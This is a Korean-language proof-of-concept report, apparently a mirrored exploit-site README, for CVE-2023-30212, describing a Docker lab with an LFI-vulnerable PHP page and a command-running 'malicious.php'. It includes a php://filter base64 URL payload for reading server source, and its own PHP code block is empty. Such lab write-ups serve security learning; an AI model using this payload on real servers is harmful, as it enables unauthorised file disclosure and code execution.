Share
## https://sploitus.com/exploit?id=1E3B8C72-35CC-54A4-B5CC-534FBD278F5E
# cve-2023-30212
PoC for CVE-2023-30212 using Docker
# CVE-2023-30212 ν™˜κ²½ ꡬ좕 및 PoC λ³΄κ³ μ„œ

## πŸ“Œ κ°œμš”

이 λ³΄κ³ μ„œλŠ” Vulhub에 μ—†λŠ” CVE-2023-30212 취약점을 λŒ€μƒμœΌλ‘œ Docker 기반의 μ·¨μ•½ν•œ μ›Ή ν™˜κ²½μ„ 직접 κ΅¬μ„±ν•˜κ³ , PoCλ₯Ό 톡해 ν•΄λ‹Ή 취약점을 μž…μ¦ν•œ λ‚΄μš©μ„ λ‹΄κ³  μžˆμŠ΅λ‹ˆλ‹€.

- **CVE 번호**: CVE-2023-30212
- **취약점 μ„€λͺ…**: PHP LFI(Local File Inclusion)을 ν†΅ν•œ 원격 μ½”λ“œ μ‹€ν–‰ κ°€λŠ₯μ„±
- **λ‚œμ΄λ„**: κ³ κΈ‰ (Vulhub에 μ—†λŠ” ν™˜κ²½μ„ ꡬ성)

---

## πŸ”§ ν™˜κ²½ ꡬ성

### 1. Dockerfile 및 docker-compose ꡬ성

- Base image: `php:8.1-apache`
- `/var/www/html` 디렉터리에 `vulnerable.php`와 `malicious.php` 볡사
- `8088` 포트둜 μ™ΈλΆ€ 접속 κ°€λŠ₯



### 2. μ£Όμš” 파일 μ„€λͺ…

| 파일λͺ…             | μ„€λͺ…                                |
|-------------------|-------------------------------------|
| `vulnerable.php`  | LFI 취약점이 μ‘΄μž¬ν•˜λŠ” PHP 파일         |
| `malicious.php`   | μ‹œμŠ€ν…œ λͺ…령을 μ‹€ν–‰ν•˜λŠ” μ•…μ„± PHP 파일   |
| `docker-compose.yml` | μ»¨ν…Œμ΄λ„ˆ ꡬ성을 μœ„ν•œ μ„€μ • 파일        |
| `Dockerfile`      | 도컀 이미지 생성을 μœ„ν•œ μ„€μ • 파일      |




---

## πŸš€ 취약점 μ‹€ν–‰ 흐름 (PoC)

### 1. μ»¨ν…Œμ΄λ„ˆ μ‹€ν–‰

```bash
docker-compose up -d
```

μ»¨ν…Œμ΄λ„ˆ 이름: cve-2023-30212-cve-lfi-1

Apache μ„œλ²„κ°€ μ‹€ν–‰λ˜λ©° http://localhost:8088μ—μ„œ 접속 κ°€λŠ₯

2. LFI 기반 μ•…μ„± 파일 μ†ŒμŠ€ 확인
μ•„λž˜ URL을 ν˜ΈμΆœν•˜μ—¬ malicious.php의 λ‚΄μš©μ„ base64둜 μΈμ½”λ”©λœ ν˜•νƒœλ‘œ ν™•μΈν•©λ‹ˆλ‹€:

```bash
http://localhost:8088/vulnerable.php?file=php://filter/convert.base64-encode/resource=malicious.php
```


좜λ ₯ κ²°κ³Όλ₯Ό λ””μ½”λ”©ν•˜λ©΄ μ•„λž˜ PHP μ½”λ“œκ°€ ν™•μΈλ©λ‹ˆλ‹€:
```php

```


3. λͺ…λ Ήμ–΄ μ‹€ν–‰ 및 κ²°κ³Ό 확인
μ•„λž˜ URL을 ν˜ΈμΆœν•˜μ—¬ μ‹€μ œλ‘œ λͺ…λ Ήμ–΄λ₯Ό μ‹€ν–‰ν•©λ‹ˆλ‹€:

```bash
http://localhost:8088/malicious.php
```
λͺ…λ Ήμ–΄ μ‹€ν–‰ ν›„, /tmp/pwned 파일이 μƒμ„±λ˜μ–΄μ•Ό ν•©λ‹ˆλ‹€.

```bash
docker exec -it cve-2023-30212-cve-lfi-1 ls /tmp
```
결과에 pwned 파일이 μ‘΄μž¬ν•˜λ©΄ μ„±κ³΅μž…λ‹ˆλ‹€.



## κ²°κ³Ό μš”μ•½
php://filter 기반 LFI 취약점을 톡해 μ•…μ„± 파일 λ‚΄μš© 확인 및 λ””μ½”λ”© 성곡

system() ν•¨μˆ˜κ°€ ν¬ν•¨λœ μ•…μ„± PHP ν˜ΈμΆœμ„ 톡해 μž„μ˜ λͺ…λ Ήμ–΄ μ‹€ν–‰ 성곡

/tmp/pwned 파일이 μƒμ„±λ¨μœΌλ‘œμ¨ PoC 검증 μ™„λ£Œ